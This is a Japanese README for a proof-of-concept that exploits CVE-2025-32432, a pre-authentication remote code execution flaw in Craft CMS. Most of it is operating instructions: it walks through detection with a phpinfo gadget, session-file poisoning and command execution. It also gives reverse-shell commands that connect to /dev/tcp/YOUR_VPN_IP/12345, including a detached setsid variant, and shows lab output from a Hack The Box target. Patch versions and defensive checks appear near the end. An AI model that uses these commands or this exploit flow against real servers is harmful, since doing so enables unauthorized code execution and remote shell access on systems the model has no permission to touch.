Craft CMS CVE-2025-32432 シングルターゲットPoC

許可されたテストのみ。 このリポジトリは、管理されたラボ環境、Hack The Box などのCTFプラットフォーム、内部検証、および防御的検証を目的としています。所有していないシステム、または明示的なテスト許可を得ていないシステムに対して実行しないでください。

概要

このプロジェクトには、認証前のCraft CMSリモートコード実行の問題である CVE-2025-32432 のシングルターゲット概念実証（PoC）が含まれています。

このPoCは2つの段階で動作します：

脆弱性の確認 — Craft CMSのアセット変換生成エンドポイントを介した phpinfo() ガジェットを使用。
任意のコマンド実行 — 2段階のセッションファイルインクルードチェーンを使用。

このスクリプトは、一部の公開PoCに見られる一般的な偽陰性（false-negative）問題を回避するように設計されています。通常の画像変換リクエストは 404 を返すことがありますが、同じエンドポイントと assetId は実際のガジェットペイロードを使用した場合には依然として機能します。

影響を受けるバージョン

公式のCraft CMSアドバイザリおよび公開アドバイザリデータベースによると、影響を受ける範囲は次のとおりです：

Craft CMS ブランチ	影響を受けるバージョン	修正バージョン
3.x	`< 3.9.15`	`3.9.15`
4.x	`< 4.14.15`	`4.14.15`
5.x	`< 5.6.17`	`5.6.17`

Craft CMSのデプロイメントを管理している場合は、直ちに修正リリースへアップグレードしてください。

技術概要

このPoCは次のフローに従います：

Get CSRF token
      |
      v
Test endpoint + assetId with phpinfo gadget
      |
      v
Confirm vulnerable response contains PHP Version / PHP License
      |
      v
Poison Craft session return URL with PHP payload
      |
      v
Trigger yii\rbac\PhpManager to include the PHP session file
      |
      v
Execute optional command

重要な実装の詳細：

検出には phpinfoガジェット を使用します。通常の変換リクエストは使用しません。
コマンドは 16進数（hex） として渡され、スペース、引用符、パイプ、アンパサンドによるクエリ文字列の破損を回避します。
テストされるデフォルトのPHPセッションディレクトリは次のとおりです：
- /var/lib/php/sessions
- /var/lib/php/session
- /tmp
リバースシェルシナリオ向けに --timeout オプションが含まれています。

ファイル

craftcms_cve_2025_32432_public_poc.py   Main single-target PoC
README.md                               Project documentation

要件

Python 3.9+
requests
urllib3

依存関係をインストール：

python3 -m pip install requests urllib3

使用方法

1. 確認のみモード

これはphpinfoガジェットのみを使用して脆弱性を確認します。

python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local

成功時に期待される出力：

[+] phpinfo triggered
[+] Working endpoint: http://target.local/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[*] Check-only mode. Use -c 'id' to run a command.

phpinfoレスポンスは次のファイルに保存されます：

phpinfo_success.html

2. 単純なコマンドを実行

python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local -c "id"

成功時の出力例：

[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

3. 既知のエンドポイントとアセットIDを使用する

動作する値がすでに分かっている場合に使用します。

python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "id" \
  -a 0 \
  --endpoint "http://target.local/index.php?p=admin/actions/assets/generate-transform" \
  --session-dir /var/lib/php/sessions

4. カスタムフロントコントローラ

一部のターゲットは x.php などのカスタムフロントコントローラを使用する場合があります。

python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  --front x.php \
  -c "id"

これにより、次のようなルートがテストされます：

http://target.local/x.php?p=admin/actions/assets/generate-transform

5. リバースシェルの使用

先にリスナーを起動します：

rlwrap -cAr nc -lvnp 12345

次に、リバースシェルコマンドを指定してPoCを実行します：

python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "bash -lc 'bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1'" \
  --timeout 0

--timeout 0 はリクエストタイムアウトを無効にします。リバースシェルはHTTPリクエストを開いたままにすることが多いため、これは便利です。

分離型バリアント：

python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "bash -lc 'setsid bash -c \"bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1\" >/dev/null 2>&1 &'" \
  --timeout 0

オプション

トラブルシューティング

通常スキャン中に `assetId 0 -> HTTP 404`

検出を通常の変換リクエストに依存しないでください。一部のターゲットは通常の変換ボディに対して 404 を返しますが、それでもガジェットペイロードは実行されます。

このPoCは、phpinfoガジェット自体を使用して有効な組み合わせを検出します。

phpinfoは機能するが、コマンド実行が失敗する

セッションディレクトリを手動で指定してみてください：

python3 craftcms_cve_2025_32432_public_poc.py \
  -u http://target.local \
  -c "id" \
  --session-dir /var/lib/php/sessions

次に試す：

--session-dir /var/lib/php/session

または：

--session-dir /tmp

リバースシェルが接続された後、すぐに切断される

次のいずれかの方法を使用してください：

リクエストタイムアウトを無効にする：

--timeout 0

setsid または nohup を使用した分離ペイロードを使用する。
コールバックIPが正しいことを確認する：

ip -br a | grep tun

リバースシェル中の読み取りタイムアウト

リバースシェルが正常に接続された場合、これは正常な動作である可能性があります。タイムアウトを失敗と判断する前にリスナーを確認してください。

コマンド出力がない

まずより単純なコマンドを試してください：

-c "id"
-c "whoami"
-c "pwd"

単純なコマンドは機能するが複雑なコマンドが失敗する場合は、コマンドを慎重に引用符で囲むか、分離シェルペイロードを使用してください。

ラボ出力例

[*] Target: http://orion.htb
[*] Front controller: index.php
[+] CSRF token found via http://orion.htb/index.php?p=admin/dashboard
[*] Testing endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
    assetId 0 -> HTTP 200
[+] phpinfo triggered
[+] Working endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

防御の指針

Craft CMSインスタンスを管理している場合：

Craft CMS 3.9.15、4.14.15、5.6.17 以降へアップグレードする。
Webルートに疑わしいPHPファイルやWebシェルがないか確認する。
PHPセッションディレクトリとWebサーバーログで、アセット変換ルートへの不審なリクエストを確認する。
悪用が疑われる場合は、.env のシークレットとデータベース認証情報をローテーションする。
可能であれば、管理ルートへのパブリックアクセスを制限する。
侵害が疑われる期間のサーバーファイルシステムのタイムスタンプを確認する。

参考文献

Craft CMS公式アドバイザリ: https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432
GitHub Advisory Database: https://github.com/advisories/GHSA-f3gw-9ww9-jmc3
NVDエントリ: https://nvd.nist.gov/vuln/detail/CVE-2025-32432
SensePostの技術分析: https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/

免責事項

このプロジェクトは、教育、研究、ラボ、および防御的検証の目的でのみ提供されます。作者は誤用について責任を負いません。所有しているシステム、または明示的な書面による評価許可を得たシステムのみをテストしてください。

`-u`, `--url`	ターゲットのベースURL	必須
`-c`, `--cmd`	phpinfo確認後に実行する任意のコマンド	なし
`--front`	フロントコントローラのファイル名	`index.php`
`-s`, `--scan-max`	phpinfoガジェットでテストする最大 `assetId`	`50`
`-a`, `--asset`	動作確認済みのアセットID	なし
`--endpoint`	動作確認済みのgenerate-transformエンドポイント	なし
`--session-dir`	PHPセッションディレクトリ。複数回指定可能	組み込みリスト
`--timeout`	コマンドトリガーのリクエストタイムアウト。タイムアウトなしの場合は `0` を使用	`20`

CVE-2025-32432-POC

人気